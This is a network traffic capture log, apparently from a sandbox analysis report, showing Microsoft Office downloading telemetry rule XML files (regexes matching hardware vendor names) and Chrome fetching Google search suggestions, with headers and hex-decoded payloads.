2024-11-17 00:38:27 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:27 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:27 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 23d98194-001e-0082-1512-375880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003827Z-164f84587bfm8kdnhC1DFWey4g00000003s0000000001d2m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:27 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:27 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:27 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:27 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 200f6d4e-701e-003e-2fb8-3779b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003827Z-16547b76f7fjx5nrhC1DFW4dsc00000000pg00000000ktah x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:27 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:27 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:27 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 3e2bc75c-901e-0048-059c-37b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003827Z-1866b5c5fbbpxkkxhC1DFWhvmc00000003u000000000exaa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:27 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:27 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:27 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 90f07e84-d01e-0028-2a09-377896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003827Z-16547b76f7f5b5tthC1DFWuk84000000025g00000000az38 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:27 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:28 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:28 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 32d33ebf-401e-0048-7d9e-370409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003828Z-1866b5c5fbbwlv6nhC1DFWw4bs00000001y000000000krz0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:28 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:28 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:28 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: fa98855d-501e-0064-4540-361f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003828Z-16547b76f7fjx5nrhC1DFW4dsc00000000p000000000k4qg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:28 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:28 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:28 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 685cc001-201e-0085-3009-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003828Z-16547b76f7fmcv27hC1DFWgpcg00000002c0000000007phm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:28 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:28 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:28 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 49c589c9-b01e-003e-567a-378e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003828Z-164f84587bft9l9khC1DFW32rc00000003kg0000000072a2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:28 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:28 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:28 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 06cb6358-601e-0001-0509-37faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003828Z-1866b5c5fbbvz6qbhC1DFWsyms00000002p000000000n90u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:28 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	49794	142.250.185.68	443	5800	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:29 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-17 00:38:29 UTC	1266	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:29 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-7ezjmb2UzCgCXrpFPy0AFw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-17 00:38:29 UTC	112	IN	Data Raw: 62 61 62 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 79 65 6c 6c 6f 77 73 74 6f 6e 65 20 70 72 65 71 75 65 6c 20 31 39 32 33 20 73 65 61 73 6f 6e 20 32 22 2c 22 64 61 6c 6c 61 73 20 63 6f 77 62 6f 79 73 22 2c 22 77 65 61 74 68 65 72 20 74 72 6f 70 69 63 61 6c 20 73 74 6f 72 6d 20 73 61 72 61 22 2c 22 63 61 6c 69 66 6f 72 6e 69 61 20 62 61 Data Ascii: bab)]}'["",["yellowstone prequel 1923 season 2","dallas cowboys","weather tropical storm sara","california ba
2024-11-17 00:38:29 UTC	1378	IN	Data Raw: 6e 20 6d 6f 74 6f 72 68 6f 6d 65 73 22 2c 22 68 61 6c 66 20 6c 69 66 65 20 32 20 32 30 74 68 20 61 6e 6e 69 76 65 72 73 61 72 79 20 75 70 64 61 74 65 22 2c 22 6c 65 6f 6e 69 64 73 20 6d 65 74 65 6f 72 20 73 68 6f 77 65 72 20 74 6f 6e 69 67 68 74 22 2c 22 66 69 6c 69 70 20 63 68 79 74 69 6c 20 69 6e 6a 75 72 79 22 2c 22 7a 6f 64 69 61 63 20 73 69 67 6e 73 20 64 61 69 6c 79 20 68 6f 72 6f 73 63 6f 70 65 20 74 6f 64 61 79 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 Data Ascii: n motorhomes","half life 2 20th anniversary update","leonids meteor shower tonight","filip chytil injury","zodiac signs daily horoscope today"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVH
2024-11-17 00:38:29 UTC	1378	IN	Data Raw: 61 62 58 64 49 53 7a 6c 53 62 55 78 33 65 47 6f 33 52 54 4a 42 52 45 6f 34 65 48 45 79 64 6d 4a 74 53 45 31 6e 65 6d 63 31 63 46 5a 59 64 32 39 68 4d 30 46 4d 56 7a 6c 33 63 6d 4a 73 57 45 31 58 4e 32 52 75 5a 48 4e 34 64 46 41 31 54 56 70 70 5a 69 39 42 54 47 39 4e 56 54 4a 43 55 58 4a 69 56 6e 52 4f 64 54 6c 4a 63 32 74 32 63 6a 59 7a 61 57 35 70 61 56 64 4c 55 30 39 55 63 6b 6c 6a 65 44 64 73 56 6d 64 35 55 58 6c 42 4e 57 70 4e 59 57 74 49 51 6a 68 7a 56 6c 4a 55 56 45 6c 75 4d 44 46 69 4b 7a 4e 68 51 32 46 4c 56 46 42 53 55 56 68 6a 65 56 42 4f 61 6e 56 56 52 44 4a 78 4e 56 56 6c 63 6c 70 44 61 6a 46 4a 63 48 5a 45 65 6b 70 71 54 6c 52 6d 4d 55 4e 6d 61 79 74 43 56 32 78 31 62 79 74 